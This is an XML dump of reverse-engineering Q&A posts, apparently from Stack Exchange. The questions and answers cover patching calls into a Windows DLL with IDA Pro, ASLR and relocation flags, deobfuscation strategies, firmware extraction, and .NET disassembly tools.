  <row Id="22886" PostTypeId="1" AcceptedAnswerId="22895" CreationDate="2020-01-02T05:59:48.067" Score="1" ViewCount="394" Body="&lt;p&gt;I am trying to patch a function in 64-bit Windows DLL to load data I have inserted into the resource table of the DLL. I want to insert code something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov     r8d, 0Ah        ; lpType&#xA;mov     edx, 0h         ; lpName&#xA;xor     ecx, ecx        ; hModule&#xA;call    cs:FindResourceW&#xA;mov     [rsp+148h+var_B8], rax   ; using existing var_B8 to store hResInfo&#xA;mov     rdx, [rsp+148h+var_B8] ; hResInfo&#xA;xor     ecx, ecx        ; hModule&#xA;call    cs:LoadResource&#xA;mov     [rsp+148h+var_B0], rax ; using existing var_B0 to store hResData&#xA;mov     rcx, [rsp+148h+var_B0] ; hResData&#xA;call    cs:LockResource&#xA;; data is now in location referenced by RAX register&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The first problem seems to be the &quot;Assemble&quot; function in IDA pro doesn't handle 64-bit operands, so instructions such as mov r8d, 0Ah I have to assemble by hand and patch via bytes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However I am not sure how to easily generate the call cs:FindResourceW instruction. While the &quot;assembly&quot; feature generates code the disassembly shows it as gibberish, call instruction &quot;assembled&quot; at 00000272D0B83B4C:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:00000272D0B83B3F                 mov     r8d, 0Ah&#xA;.text:00000272D0B83B45                 mov     edx, 0&#xA;.text:00000272D0B83B4A                 xor     ecx, ecx&#xA;.text:00000272D0B83B4A ; ---------------------------------------------------------------------------&#xA;.text:00000272D0B83B4C                 db  9Ah ; š&#xA;.text:00000272D0B83B4D                 db  40h ; @&#xA;.text:00000272D0B83B4E                 db  94h ; ”&#xA;.text:00000272D0B83B4F                 db 0BDh ; ½&#xA;.text:00000272D0B83B50                 db 0D0h ; Ð&#xA;.text:00000272D0B83B51                 db    6&#xA;.text:00000272D0B83B52                 db    0&#xA;.text:00000272D0B83B53                 db  89h ; ‰&#xA;.text:00000272D0B83B54                 db  84h ; „&#xA;.text:00000272D0B83B55 ; ---------------------------------------------------------------------------&#xA;.text:00000272D0B83B55                 and     al, 89h&#xA;.text:00000272D0B83B55 ; ---------------------------------------------------------------------------&#xA;.text:00000272D0B83B57                 db  45h ; E&#xA;.text:00000272D0B83B58                 db    8&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To currently assembly I am taking location from import table:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.idata:00000272D0BD9440 ; HRSRC __stdcall FindResourceW(HMODULE hModule, LPCWSTR lpName, LPCWSTR lpType)&#xA;.idata:00000272D0BD9440                 extrn FindResourceW:qword&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Subtracting location where I will insert my code, and subtract 6.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  272D0B83B4A (Code location)&#xA; -272D0BD9440 (Import table location)&#xA; -6&#xA;===========&#xA;00 05 58 F0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am then patching with FF 15 followed by the result in reverse order such as inserting bytes:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;FF 15 F0 58 05 00&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This works but is time consuming, is there any better patching option for inserting call instructions quickly.&lt;/p&gt;&#xA;" OwnerUserId="2229" LastActivityDate="2020-01-02T21:29:08.707" Title="How to Insert Call to Already Imported Function in amd64 Windows DLL using IDA Pro?" Tags="|ida|patching|amd64|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22889" PostTypeId="1" AcceptedAnswerId="22890" CreationDate="2020-01-02T10:47:20.487" Score="1" ViewCount="194" Body="&lt;p&gt;I want to create an executable that keeps the same virtual address during different execution runs. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is definitely possible because I've seen these files in CTFs(Capture the flag) where the player has to use a buffer overflow, to rewrite the return address in order to execute a &quot;secret&quot; function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, is there a way to tell GCC to generate an executable that &quot;doesn't&quot; allow memory randomization on execution?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or maybe I'm thinking it all wrong. Any info you can share to point me on the right direction will be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="30344" LastActivityDate="2020-01-02T11:10:21.457" Title="How to create an executable that keeps the same virtual address on different runs" Tags="|c|dynamic-analysis|executable|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22890" PostTypeId="2" ParentId="22889" CreationDate="2020-01-02T11:10:21.457" Score="1" Body="&lt;p&gt;As part of ASLR, operating systems use code relocation tables embedded in an executable to change the location where an executable image is located.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you remove the relocation tables (or generate an executable without it to begin with) the operating system will not be able to relocate the executable image, however other images also loaded to the same process's memory address will still be relocated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally, an OS may implement/support ASLR related executable file flag to opt-in or out of ASLR and again depending on the OS and user configuration, executables that don't support ASLR may still be randomized.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Visual studio have two related flags, &lt;code&gt;/FIXED&lt;/code&gt; and &lt;code&gt;/DYNAMICBASE&lt;/code&gt;, for including relocation tables and opting-in for ASLR.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On GCC, &lt;code&gt;-fPIE&lt;/code&gt; is used to enable relocation tables (position independent executable).&lt;/p&gt;&#xA;" OwnerUserId="2147" LastActivityDate="2020-01-02T11:10:21.457" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22891" PostTypeId="1" CreationDate="2020-01-02T15:03:57.637" Score="4" ViewCount="506" Body="&lt;p&gt;I have the following disassembly which looks like a buffer being populated with zeros in a loop, however, I'm confused at why the alignment is needed here (if a jump will always be 4-bytes, why does aligning to a 4-byte boundary matter?)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm also confused at what and'ing ecx (which presumably contains the size of the buffer plus how many bytes it was misaligned by) with 0xFFFFFFFC does, it's not an address so why is the same and used to 4-byte align something being used on something that is being used as a count for a loop etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could someone give a good walkthrough of what this code is doing and why? Is it really a compiler optimization or handwritten code? Is the intention speed etc?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/hjLPj.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/hjLPj.png&quot; alt=&quot;Disassembly&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="20803" LastActivityDate="2023-05-17T04:06:10.707" Title="Can somebody explain this weird alignment/optimisation done when zeroing out a buffer?" Tags="|ida|compiler-optimization|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22892" PostTypeId="1" CreationDate="2020-01-02T17:38:55.463" Score="2" ViewCount="1084" Body="&lt;p&gt;I'm reversing a code that is heavily obfuscated. It uses opaque predicates, call stack tampering, junk code and control flow flattering.&#xA;Call stack tampering uses indirect branches (push register / retn) calculated with complex operations at runtime.&#xA;It seems near impossible to reverse engineer. &#xA;What would be the correct way to deal with code that uses many obfuscation techniques?&#xA;I know some people use dynamic symbolic execution but I want to know if there are other ways to deal with this.&#xA;Here is an example of one obfuscated function hex-ray output:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/RKfuO.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/RKfuO.png&quot; alt=&quot;&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="27415" LastEditorUserId="27415" LastEditDate="2020-01-02T22:33:47.907" LastActivityDate="2020-01-05T09:30:17.320" Title="Static analysis obfuscated code" Tags="|disassembly|assembly|obfuscation|deobfuscation|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22893" PostTypeId="2" ParentId="22891" CreationDate="2020-01-02T18:28:55.597" Score="2" Body="&lt;p&gt;You'll find a commented analysis of the assembly code with pseudo-code. What's obvious is that this is 'crappy' compiler generated code used to align local variables to a 4-bytes boundary. Most optimizing compilers avoid using the stack and use registers when optimization flags are set (i.e. gcc -O2, ...). &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    lea     eax, [esp+12h]&#xA;    mov     ecx, 1Ah&#xA;    mov     ebx, 0&#xA;    mov     [eax], ebx&#xA;    mov     [eax+ecx-4], ebx&#xA;    lea     edx, [eax+4]&#xA;    and     edx, 0FFFFFFFCh&#xA;    sub     eax, edx&#xA;    add     ecx, eax&#xA;    and     ecx, 0FFFFFFFCh&#xA;    and     ecx, 0FFFFFFFCh&#xA;    mov     eax, 0&#xA;&#xA;    loc_401500:&#xA;    mov     [edx+eax], ebx&#xA;    add     eax, 4&#xA;    cmp     eax, ecx&#xA;    jb      short loc_401500&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;0xFFFFFFC ==&gt; 11111111111111111111111111111100 in binary. The &lt;strong&gt;and&lt;/strong&gt; operation conserves the bits facing 1s and unsets the ones facing 0s. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    //esp is stack pointer address (suppose esp = 0x00000000)                                                                                                            &#xA;    //Calculations are done in base 10                                                                                                                                   &#xA;&#xA;    eax = esp + 18          : eax = @18                             //Store the address located 18 bytes from stack pointer                                              &#xA;    ecx = 26                : ecx = 26                              //Number of elements in the array                                                                    &#xA;    ebx = 0                 : ebx = 0                               //Zero up                                                                                            &#xA;    eax[0] = ebx            : eax[ 0] = 0 (@18)                     //Set eax[ 0]               = 0                                                                      &#xA;    eax[ecx - 4] = ebx      : eax[22] = 0 (@18 + 26 - 4 = @40)      //Set eax[26 - 4] = eax[22] = 0                                                                      &#xA;    edx = eax + 4           : edx = @22                             //Store the address located 4 bytes from eax (22 bytes from stack pointer)                           &#xA;    edx &amp;amp;= 0FFFFFFFCh       : edx = @20                             //Trucate the pointer to a 4 byte boundary (zero up the lower two bits)                              &#xA;    eax -= edx              : eax = -2&#xA;    ecx += eax              : ecx = 24&#xA;    ecx &amp;amp;= 0FFFFFFFCh       : ecx = 24                             //Trucate the pointer to a 4 byte boundary                                                           &#xA;    ecx &amp;amp;= 0FFFFFFFCh       : ecx = 24                             //Trucate the pointer to a 4 byte boundary - why again? IDK!                                         &#xA;    eax = 0                 : eax = 0&#xA;&#xA;    //Loop over 4 bytes by 4 bytes                                                                                                                                       &#xA;    while (eax &amp;lt; ecx)&#xA;    {&#xA;      edx[eax] = ebx&#xA;      eax += 4&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4437" LastEditorUserId="4437" LastEditDate="2020-01-02T19:07:36.710" LastActivityDate="2020-01-02T19:07:36.710" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22894" PostTypeId="1" CreationDate="2020-01-02T20:02:48.177" Score="1" ViewCount="46" Body="&lt;p&gt;I'm trying to start a filetype identification project for certain groups of files based on their file extension (.exe, .pdf, etc), using yara as the identification engine, but I've run into a problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I try hunting for examples of these files all I get are websites that explain what the files are associated with.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a VT account, does anyone know whether it's possible to search based on filename extensions?&lt;/p&gt;&#xA;" OwnerUserId="28032" LastEditorUserId="28032" LastEditDate="2020-01-06T19:46:50.000" LastActivityDate="2020-01-06T19:51:15.170" Title="Finding examples of file with particular extentions" Tags="|file-format|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22895" PostTypeId="2" ParentId="22886" CreationDate="2020-01-02T21:29:08.707" Score="2" Body="&lt;p&gt;&lt;a href=&quot;http://www.keystone-engine.org/keypatch/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Keypatch&lt;/a&gt; is a plugin for IDA that uses keystone to assemble instructions for patching. It works much better than IDA's old built-in assembler, and it should be able to handle 64-bit operands.&lt;/p&gt;&#xA;" OwnerUserId="266" LastActivityDate="2020-01-02T21:29:08.707" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22897" PostTypeId="1" CreationDate="2020-01-03T04:45:33.100" Score="3" ViewCount="334" Body="&lt;p&gt;I've been trying to extract a Bluetooth door lock's firmware. When I tried extracting it, I got an empty output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/KdmVp.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/KdmVp.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I then found a &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/12267/firmware-extraction-problems-binwalk-is-blank/12269&quot;&gt;post&lt;/a&gt; which I thought would help me but when I tried using binvis.io, this is what I got:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/3iSgT.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/3iSgT.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm a newbie so that means it's empty right?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question is, what could've cause this to happened? Because when I extract it from a nRf51 chip using OpenOCD and ST-Link V2, it does show that what I extracted is 256kB.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My guess right now is that it is encrypted? Or could it be because im using Windows to execute this? If so, I can try using Kali Linux since I run dual boot. Or maybe I did something wrong when extracting the bin file with OpenOCD? Below is the command used.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;dump_image stock_nrf51.bin 0x0 0x40000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Sorry if I sound silly. Newbie here. Please let me know if I'm not being specific enough or not providing enough information. Would gladly provide them if you need them such as bin file etc.&lt;/p&gt;&#xA;" OwnerUserId="29929" LastActivityDate="2020-01-03T04:45:33.100" Title="Blank binwalk and binvis.io" Tags="|binwalk|" AnswerCount="0" CommentCount="8" ContentLicense="CC BY-SA 4.0" />
  <row Id="22899" PostTypeId="1" CreationDate="2020-01-03T09:06:14.373" Score="1" ViewCount="845" Body="&lt;p&gt;I already asked a similar question but after a deeper analysis of the filesystem I found out that I misunderstood the problem and that's why I decided to delete the old question and make a new one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I extracted a squashfs filesystem from a NAND Flash with binwalk. The problem was that I couldn't see the files that it contains, even sasquatch wasn't able to extract the files. &lt;br&gt;That's why I assumed that I was dealing with a vendor hacked version of squashfs that sasquatch couldn't handle. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However after a deeper analysis I found out that the extracted squashfs filesystem was looking very suspicious to me due to two things. &lt;br&gt;&#xA;First of all it starts with a generic squashfs header but right after the header there is a large sequence of 0xFF Bytes that is interrupted by a 0x01 Byte every 17. Byte.&lt;br&gt;&#xA;Besides of that the whole sequence is interrupted periodically by some kind of UBI signature.&lt;br&gt; &#xA;You can see this in the picture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second thing that looked suspicious to me was that after the large sequence mentioned above the UBI signature kept appearing periodically (until the end ) through the whole part that is supposed to be what the suqashfs contains. (the signature is sometimes different from each other but still very similar).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also know from the boot process analysis that the rootfs of the device is mounted on top of a UBI volume:&lt;br&gt; &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;root=/dev/ubiblock0_1 noinitrd ro ubi.mtd=6 mtdparts=spi0.0:256k(u-boot),64k(u-boot-env),128k(reserved),64k(art);spi0.1:5m(kernel0),5m(kernel1),118m(ubi) rootfstype=squashfs ubi.block=0,1 mem=64M&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Has the UBI signature that is appearing through the entire squashfs file something to do with the fact that it is mounted on top of a UBI volume and how do I deal with that? &lt;br&gt;&#xA;Or how can I mount it/is it possible to mount it like this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/eeR8n.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/eeR8n.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="29398" LastEditorUserId="29398" LastEditDate="2020-01-03T11:45:15.177" LastActivityDate="2020-01-03T11:45:15.177" Title="Extract files of a SquashFS Filesystem" Tags="|binary-analysis|firmware|linux|binwalk|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22902" PostTypeId="2" ParentId="22881" CreationDate="2020-01-03T21:09:20.550" Score="1" Body="&lt;p&gt;You're trying to save edits to a file that is already opened by another program - in this case, OllyDbg. In fact, not only is it open by OllyDbg, but it has a debugger attached. This is the same reason why when you are programming, you cannot edit source code and rebuild the same executable while it's being debugged; You have to stop debugging in order for the compiler to overwrite the output executable file. You need to kill the process in OllyDbg first, then you can patch the binary in a program such as Hiew, 010 Editor, HxD, and so on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is why Hiew gives you a &quot;Sharing violation&quot; - you're trying to share a resource between Hiew and the debugger when the debugger has priority already.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another option is to make a copy of the executable, open one in the debugger, and then use that to reference when editing the second one. However, the copy opened in the debugger then will not reflect any changes you've made until you kill it and load the modified version.&lt;/p&gt;&#xA;" OwnerUserId="18507" LastActivityDate="2020-01-03T21:09:20.550" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22905" PostTypeId="2" ParentId="4038" CreationDate="2020-01-04T12:09:12.263" Score="2" Body="&lt;p&gt;You may use &lt;a href=&quot;https://github.com/java-deobfuscator/deobfuscator&quot; rel=&quot;nofollow noreferrer&quot;&gt;java-deobfuscator&lt;/a&gt; or its &lt;a href=&quot;https://github.com/java-deobfuscator/deobfuscator-gui&quot; rel=&quot;nofollow noreferrer&quot;&gt;gui version&lt;/a&gt;. It has some ZKM transformers but you should also use a optimizer transformer. Make sure to use peephole optimizer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. Before deobfuscating the jar, you have to look for the imports and download library jars and add them as libraries to the deobfuscator.&lt;/p&gt;&#xA;" OwnerUserId="30660" LastActivityDate="2020-01-04T12:09:12.263" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22906" PostTypeId="1" AcceptedAnswerId="22907" CreationDate="2020-01-04T20:51:04.040" Score="0" ViewCount="1128" Body="&lt;p&gt;I have a complicated question to ask so I will try my best to be clear.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have this binary I am trying to reverse that came with a pdb file.&#xA;I have dumped the compilands of the binary to begin with.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to reproduce the source code of the binary as close to the original as possible so I see in the first compiland that somefile.obj(let's call it that) consists of ../file_path/somefile.cpp and ../compile_path/xlocale&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I then dumped the line numbers for somefile.cpp and using ida pro as my disassembler and hex-rays decompiler as a guide.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the source lines, hex-rays and some manual work I have managed to recreate somefile.cpp to the point that it's diasassembly is identical to the original file's one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The somefile.cpp consists of an empty constructor and destructor and a few function implementations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My problem is, the dumped compiland does not show a somefile.h as part of the object but the functions in somefile.cpp are methods of a somefile class (I got the entire class definition from the pdb). I can always create my own header file and put the class definition in there but that's not the purpose.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, my question is: where does the original somefile.cpp get the class definition from? Is there a way I can get such information at all, or do I have to guess?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am very sorry for the long text. &lt;/p&gt;&#xA;" OwnerUserId="30665" LastActivityDate="2020-01-04T22:19:40.513" Title="Class definition" Tags="|ida|msvc|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22907" PostTypeId="2" ParentId="22906" CreationDate="2020-01-04T22:19:40.513" Score="1" Body="&lt;p&gt;Depending on the original source, the class definition could be entirely in the header file. Class definitions are no longer useful in object files as the compiler already knows how fields and methods are laid out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have to guess the original definition. Keep in mind that you already have guessed a lot when reverting via hex-rey as C++ allows preprocessing, templating and macro expansion. This means that the types you are using are of the correct size, but have lost their semantic meaning that in the original source code they might have: e.g. custom typedefs are usually lost. &lt;/p&gt;&#xA;" OwnerUserId="27706" LastActivityDate="2020-01-04T22:19:40.513" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22908" PostTypeId="2" ParentId="22892" CreationDate="2020-01-04T22:32:01.557" Score="1" Body="&lt;p&gt;Usually, I try to detect which obfuscator has been used. Knowing your enemy is the first step towards the victory. If you can detect the obfuscator, you may be lucky and find the corresponding &quot;deobfuscator&quot;. You won't have the original source, but you'll significantly decrease the entropy and the noise.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A good starting point is to look at how the strings are handled. Every obfuscator has its own way to do that, and it could be a clear indicator.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another place I usually look for is the binary initialization: each obfuscator bootstraps it's own helper functions in a different way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I am unlucky, I tend to rely on symbolic execution combined with dynamic analysis via ollydbg and radare2.&lt;/p&gt;&#xA;" OwnerUserId="27706" LastActivityDate="2020-01-04T22:32:01.557" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22909" PostTypeId="2" ParentId="22892" CreationDate="2020-01-05T05:35:03.180" Score="1" Body="&lt;p&gt;To add on too Yennefer's wonderful and respectable answer:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Going through the &lt;em&gt;&lt;a href=&quot;https://www.geeksforgeeks.org/memory-layout-of-c-program/&quot; rel=&quot;nofollow noreferrer&quot;&gt;memory segments&lt;/a&gt;&lt;/em&gt; can definitely help, a lot of times obfuscators will tamper with those. Giving a possible clue as to what the obfuscator is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also look at the &lt;em&gt;imported functions&lt;/em&gt;, how do those look? Some obfuscators mess around with the &lt;em&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Portable_Executable#Import_table&quot; rel=&quot;nofollow noreferrer&quot;&gt;IAT&lt;/a&gt;&lt;/em&gt;, and some of the functions inside of the IAT can be tampered with, but &quot;signature&quot; code from those functions can be found, which can &lt;em&gt;lead&lt;/em&gt; to what the obfuscator is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Sometimes&lt;/em&gt;, there is even pre-built programs lying around the web that can automatically deobfuscate the program for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck! :-)&lt;/p&gt;&#xA;" OwnerUserId="30451" LastEditorUserId="30451" LastEditDate="2020-01-05T09:30:17.320" LastActivityDate="2020-01-05T09:30:17.320" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="22911" PostTypeId="1" AcceptedAnswerId="22914" CreationDate="2020-01-05T16:29:24.960" Score="1" ViewCount="2076" Body="&lt;p&gt;I was trying to understand the &lt;code&gt;IsDebuggerPresent()&lt;/code&gt; function exported by kernelbase.dll by importing the file on Ghidra. But Ghidra can't show me the proper disassembly or decompilation of function even though disassembly works fine in PE Bear? What could be the issue? I don't know if this is the proper place to post this so please guide me to a place if it isn't. Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/RiU7s.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/RiU7s.jpg&quot; alt=&quot;Ghidra Disassembly/Decompilation Output&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/CKEEh.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/CKEEh.jpg&quot; alt=&quot;PE Bear Disassembly Output&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="30669" LastEditorUserId="30669" LastEditDate="2020-01-05T17:26:37.577" LastActivityDate="2020-01-05T17:26:37.577" Title="Ghidra can't Decompile kernelbase.dll exported functions?" Tags="|disassembly|dll|ghidra|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22912" PostTypeId="2" ParentId="14901" CreationDate="2020-01-05T17:09:24.830" Score="1" Body="&lt;p&gt;You can debug .NET code with an assembly debugger of your choice, it's fun, and sometimes, the only way to spot rare and nasty issues. However you'll end up on having a lot of noise since you'll debug the virtual machine of the .NET runtime, losing what the original .NET code was intended to do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To debug .NET code and assembly at the very same time you can use Visual Studio (provided you disable &lt;code&gt;Just My Code&lt;/code&gt; and enable &lt;code&gt;Allow .NET source stepping&lt;/code&gt; (or similar)).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, you can use &lt;a href=&quot;https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/debugging-managed-code&quot; rel=&quot;nofollow noreferrer&quot;&gt;WinDBG&lt;/a&gt; with &lt;code&gt;sos&lt;/code&gt; (my personal choice). This way you can see the native calls of your code, and you can also inspect the .NET code.&lt;/p&gt;&#xA;" OwnerUserId="27706" LastEditorUserId="18507" LastEditDate="2020-01-06T00:47:22.473" LastActivityDate="2020-01-06T00:47:22.473" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22914" PostTypeId="2" ParentId="22911" CreationDate="2020-01-05T17:20:24.903" Score="4" Body="&lt;p&gt;Try to do &lt;code&gt;ctrl + A&lt;/code&gt; - select all and then press &lt;code&gt;D&lt;/code&gt; to disassemble. good chance it will solve your problem. &lt;/p&gt;&#xA;" OwnerUserId="31278" LastActivityDate="2020-01-05T17:20:24.903" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22915" PostTypeId="1" AcceptedAnswerId="22916" CreationDate="2020-01-05T18:09:06.290" Score="2" ViewCount="806" Body="&lt;p&gt;I would like to use ildasm on Linux. The original one, that comes with the .NET SDK and can be found on Windows e.g. at &lt;code&gt;c:\Program Files (x86)\Microsoft SDKs\Windows\v8.0A\bin\NETFX 4.0 Tools\&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found &lt;a href=&quot;https://www.nuget.org/packages/dotnet-ildasm/&quot; rel=&quot;nofollow noreferrer&quot;&gt;dotnet-ildasm&lt;/a&gt; and managed to install it on my Ubuntu 18.04. But I am unsure if this is the same as the &quot;original&quot; one.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Is dotnet-ildasm the same as Microsoft ildasm?&lt;/li&gt;&#xA;&lt;li&gt;Did someone mangage to install the Microsoft ildasm on Linux?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="11830" LastActivityDate="2020-01-05T20:05:36.587" Title="ildasm on Linux: &quot;original&quot; ildasm.exe same as dotnet-ildasm?" Tags="|linux|.net|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22916" PostTypeId="2" ParentId="22915" CreationDate="2020-01-05T20:05:36.587" Score="3" Body="&lt;p&gt;The original one was a native executable and this one is build in .NET by &lt;a href=&quot;https://github.com/pjbgf/dotnet-ildasm/blob/master/src/dotnet-ildasm/dotnet-ildasm.csproj#L23&quot; rel=&quot;nofollow noreferrer&quot;&gt;utilizing&lt;/a&gt; a &lt;a href=&quot;https://www.mono-project.com/docs/tools+libraries/libraries/Mono.Cecil/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Mono.Cecil&lt;/a&gt; library to get the assembly information so if I would have to answer your first question I would answer - no, they are not the same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not sure about your second question as original one was Windows executable so there's no point installing it on Linux. I would use the one you linked dotnet-ildasm or &lt;a href=&quot;https://github.com/mono/ikdasm&quot; rel=&quot;nofollow noreferrer&quot;&gt;ikdasm&lt;/a&gt; from the Mono project.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why are you so focused on having the &quot;original&quot; one?&lt;/p&gt;&#xA;" OwnerUserId="18014" LastActivityDate="2020-01-05T20:05:36.587" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
